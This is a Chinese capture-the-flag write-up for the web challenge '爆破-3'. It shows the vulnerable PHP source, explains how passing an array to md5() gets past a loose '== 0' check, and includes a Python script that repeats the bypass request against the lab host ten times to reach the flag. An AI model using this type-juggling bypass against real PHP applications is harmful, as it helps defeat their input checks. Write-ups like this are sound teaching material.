Misc Web 爆破-3
题目内容:这个真的是爆破。
页面显示出源码
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
只要第一次传进去的value与session中的相等,则网页会输出下一个value值,通过使用md5函数不能对数组进行处理的漏洞来绕过substr(md5($value),5,4)==0的判断,使nums得值大于10即可得到flag
语法:
substr(string,start,length)
在PHP中,MD5是不能处理数组的,md5(数组)会返回null, null == 0成立
?value[]=ea
这里会把=后面的字符当成一个字符串传入value[0]
,所以$value[0].$value[1] = ea
python脚本
import requests
url = 'http://76e0ef92ae0743ddb77048de61b6610fab0b4fb9cf6c4ef5.changame.ichunqiu.com/'
session = requests.session()
html = session.get(url+'?value[]=ea').text
print(html[:2])
for i in range(10):
html = session.get(url+'?value[]='+html[:2]).text
print(html[:2])
if 'flag{.*}' in html:
break
else:
print(html)